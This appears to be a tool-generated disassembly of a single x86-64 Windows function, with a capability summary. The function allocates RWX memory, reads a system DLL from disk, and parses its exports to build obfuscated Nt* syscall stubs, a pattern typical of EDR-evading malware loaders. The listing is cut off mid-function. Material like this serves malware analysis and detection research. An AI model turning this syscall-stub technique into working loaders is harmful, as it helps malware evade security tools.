Function at 0x4040c9
Capabilities:
Allocate or change rwx memory
Enumerate process modules
Enumerate processes
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x5420
call fcn.00416710
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.00415810
call fcn.00401704
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x5378], eax
mov eax, dword [rbp + 0x5378]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x5370], rax
mov rax, qword [rbp + 0x5370]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x5368], rax
mov rax, qword [rbp + 0x5368]
add rax, 0x17
mov qword [rbp + 0x5360], rax
mov rax, qword [rbp + 0x5360]
add rax, 0x17
mov qword [rbp + 0x5358], rax
mov rax, qword [rbp + 0x5358]
add rax, 0x17
mov qword [rbp + 0x5350], rax
mov rax, qword [rbp + 0x5350]
add rax, 0x17
mov qword [rbp + 0x5348], rax
mov rax, qword [rbp + 0x5348]
add rax, 0x17
mov qword [rbp + 0x5340], rax
mov rax, qword [rbp + 0x5340]
add rax, 0x17
mov qword [rbp + 0x5338], rax
mov rax, qword [rbp + 0x5338]
add rax, 0x17
mov qword [rbp + 0x5330], rax
mov rax, qword [rbp + 0x5330]
add rax, 0x17
mov qword [rbp + 0x5328], rax
mov rax, qword [rbp + 0x5328]
add rax, 0x17
mov qword [rbp + 0x5320], rax
mov rax, qword [rbp + 0x5320]
add rax, 0x17
mov qword [rbp + 0x5318], rax
mov rax, qword [rbp + 0x5318]
add rax, 0x17
mov qword [rbp + 0x5310], rax
mov rax, qword [rbp + 0x5310]
add rax, 0x17
mov qword [rbp + 0x5308], rax
mov rax, qword [rbp + 0x5308]
add rax, 0x17
mov qword [rbp + 0x5300], rax
mov rax, qword [rbp + 0x5300]
add rax, 0x17
mov qword [rbp + 0x52f8], rax
mov rax, qword [rbp + 0x52f8]
add rax, 0x17
mov qword [rbp + 0x52f0], rax
mov rax, qword [rbp + 0x52f0]
add rax, 0x17
mov qword [rbp + 0x52e8], rax
mov rax, qword [rbp + 0x52e8]
add rax, 0x17
mov qword [rbp + 0x52e0], rax
mov dword [rbp + 0x24cc], 0
mov qword [rbp + 0x52d8], 0
mov dword [rbp + 0x52d4], 0
mov dword [rbp + 0x24c8], 0
mov qword [rbp + 0x52c8], 0
mov rax, qword [rbp + 0x5368]
mov qword [0x0154b048], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5368]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5360]
mov qword [0x0154b050], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5360]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5358]
mov qword [0x0154b058], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5358]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5350]
mov qword [0x0154b060], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5350]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5348]
mov qword [0x0154b068], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5348]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5340]
mov qword [0x0154b070], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5340]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5338]
mov qword [0x0154b078], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5338]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5330]
mov qword [0x0154b080], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5330]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5328]
mov qword [0x0154b088], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5328]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5320]
mov qword [0x0154b090], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5320]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5318]
mov qword [0x0154b098], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5318]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5310]
mov qword [0x0154b0a0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5310]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5308]
mov qword [0x0154b0a8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5308]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x5300]
mov qword [0x0154b0b0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x5300]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f8]
mov qword [0x0154b0b8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52f0]
mov qword [0x0154b0c0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52f0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e8]
mov qword [0x0154b0c8], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x52e0]
mov qword [0x0154b0d0], rax
lea rdx, [rbp + 0x24cc]
mov rax, qword [rbp + 0x52e0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rcx, [0x0151f548]
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x52d8], rax
mov rax, qword [rbp + 0x52d8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x52d4], eax
mov ebx, dword [rbp + 0x52d4]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rbx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x52c8], rax
lea r8, [rbp + 0x24c8]
mov ecx, dword [rbp + 0x52d4]
mov rdx, qword [rbp + 0x52c8]
mov rax, qword [rbp + 0x52d8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x52c8]
mov qword [rbp + 0x52c0], rax
mov rax, qword [rbp + 0x52c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x52c8]
add rax, rdx
mov qword [rbp + 0x52b8], rax
mov rax, qword [rbp + 0x52b8]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x52b4], eax
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x52b8]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x5398], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x52a8], rax
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
mov dword [rbp + 0x538c], 0
mov rax, qword [rbp + 0x52b8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x538c], eax
jge 0x40481a
mov rax, qword [rbp + 0x5398]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x404809
mov rax, qword [rbp + 0x5398]
mov qword [rbp + 0x5390], rax
jmp 0x40481a
add qword [rbp + 0x5398], 0x28
add dword [rbp + 0x538c], 1
jmp 0x4047c9
mov edx, dword [rbp + 0x52b4]
mov rax, qword [rbp + 0x52c8]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x5390]
mov rdx, rax
call fcn.004015a0
mov qword [rbp + 0x52a0], rax
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x279f]
lea rax, [rbp + 0x2770]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x2750]
lea rdx, [rbp + 0x2770]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2730]
lea rdx, [rbp + 0x2750]
lea r8, [0x0151f571]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2710]
lea rdx, [rbp + 0x2730]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x26f0]
lea rdx, [rbp + 0x2710]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x26d0]
lea rdx, [rbp + 0x26f0]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x26b0]
lea rdx, [rbp + 0x26d0]
lea r8, [0x0151f577]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2690]
lea rdx, [rbp + 0x26b0]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2670]
lea rdx, [rbp + 0x2690]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2650]
lea rdx, [rbp + 0x2670]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2630]
lea rdx, [rbp + 0x2650]
lea r8, [0x0151f57d]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2610]
lea rdx, [rbp + 0x2630]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x25f0]
lea rdx, [rbp + 0x2610]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x25d0]
lea rdx, [rbp + 0x25f0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x25b0]
lea rdx, [rbp + 0x25d0]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2590]
lea rdx, [rbp + 0x25b0]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2570]
lea rdx, [rbp + 0x2590]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2550]
lea rdx, [rbp + 0x2570]
lea r8, [0x0151f585]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2530]
lea rdx, [rbp + 0x2550]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2510]
lea rdx, [rbp + 0x2530]
lea r8, [0x0151f587]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x24f0]
lea rdx, [rbp + 0x2510]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x24d0]
lea rdx, [rbp + 0x24f0]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x24a0]
lea rdx, [rbp + 0x24d0]
lea r8, [0x0151f589]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x24d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x24f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2510]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2530]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2550]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2570]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2590]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x25b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x25d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x25f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2610]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2630]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2650]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2670]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2690]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x26b0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x26d0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x26f0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2710]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2730]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2750]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2770]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x279f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x27a0]
mov rcx, qword [rbp + 0x5368]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x27a0]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x404cc0
lea rbx, [0x0151f58b]
jmp 0x404cc7
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x2a4f]
lea rax, [rbp + 0x2a20]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x2a00]
lea rdx, [rbp + 0x2a20]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x29e0]
lea rdx, [rbp + 0x2a00]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x29c0]
lea rdx, [rbp + 0x29e0]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x29a0]
lea rdx, [rbp + 0x29c0]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2980]
lea rdx, [rbp + 0x29a0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2960]
lea rdx, [rbp + 0x2980]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2940]
lea rdx, [rbp + 0x2960]
lea r8, [0x0151f57d]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2920]
lea rdx, [rbp + 0x2940]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2900]
lea rdx, [rbp + 0x2920]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x28e0]
lea rdx, [rbp + 0x2900]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x28c0]
lea rdx, [rbp + 0x28e0]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x28a0]
lea rdx, [rbp + 0x28c0]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2880]
lea rdx, [rbp + 0x28a0]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2860]
lea rdx, [rbp + 0x2880]
lea r8, [0x0151f585]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2840]
lea rdx, [rbp + 0x2860]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2820]
lea rdx, [rbp + 0x2840]
lea r8, [0x0151f587]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2800]
lea rdx, [rbp + 0x2820]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x27e0]
lea rdx, [rbp + 0x2800]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x27c0]
lea rdx, [rbp + 0x27e0]
lea r8, [0x0151f589]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x27c0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x27c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x27e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2800]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2820]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2840]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2860]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2880]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x28a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x28c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x28e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2900]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2920]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2940]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2960]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2980]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x29a0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x29c0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x29e0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2a00]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2a20]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2a4f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2a50]
mov rcx, qword [rbp + 0x5360]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2a50]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x405108
lea rbx, [0x0151f58b]
jmp 0x40510f
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x2d3f]
lea rax, [rbp + 0x2d10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x2cf0]
lea rdx, [rbp + 0x2d10]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2cd0]
lea rdx, [rbp + 0x2cf0]
lea r8, [0x0151f5ab]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2cb0]
lea rdx, [rbp + 0x2cd0]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2c90]
lea rdx, [rbp + 0x2cb0]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2c70]
lea rdx, [rbp + 0x2c90]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2c50]
lea rdx, [rbp + 0x2c70]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2c30]
lea rdx, [rbp + 0x2c50]
lea r8, [0x0151f577]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2c10]
lea rdx, [rbp + 0x2c30]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2bf0]
lea rdx, [rbp + 0x2c10]
lea r8, [0x0151f57d]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2bd0]
lea rdx, [rbp + 0x2bf0]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2bb0]
lea rdx, [rbp + 0x2bd0]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2b90]
lea rdx, [rbp + 0x2bb0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2b70]
lea rdx, [rbp + 0x2b90]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2b50]
lea rdx, [rbp + 0x2b70]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2b30]
lea rdx, [rbp + 0x2b50]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2b10]
lea rdx, [rbp + 0x2b30]
lea r8, [0x0151f585]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2af0]
lea rdx, [rbp + 0x2b10]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2ad0]
lea rdx, [rbp + 0x2af0]
lea r8, [0x0151f587]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2ab0]
lea rdx, [rbp + 0x2ad0]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2a90]
lea rdx, [rbp + 0x2ab0]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2a70]
lea rdx, [rbp + 0x2a90]
lea r8, [0x0151f589]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x2a70]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x2a70]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2a90]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2ab0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2ad0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2af0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2b10]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2b30]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2b50]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2b70]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2b90]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2bb0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2bd0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2bf0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2c10]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2c30]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2c50]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2c70]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2c90]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2cb0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2cd0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2cf0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2d10]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x2d3f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2d40]
mov rcx, qword [rbp + 0x5358]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2d40]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x4055a8
lea rbx, [0x0151f58b]
jmp 0x4055af
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x2f6f]
lea rax, [rbp + 0x2f40]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x2f20]
lea rdx, [rbp + 0x2f40]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2f00]
lea rdx, [rbp + 0x2f20]
lea r8, [0x0151f5ad]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2ee0]
lea rdx, [rbp + 0x2f00]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2ec0]
lea rdx, [rbp + 0x2ee0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2ea0]
lea rdx, [rbp + 0x2ec0]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2e80]
lea rdx, [rbp + 0x2ea0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2e60]
lea rdx, [rbp + 0x2e80]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2e40]
lea rdx, [rbp + 0x2e60]
lea r8, [0x0151f5af]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2e20]
lea rdx, [rbp + 0x2e40]
lea r8, [0x0151f5b1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
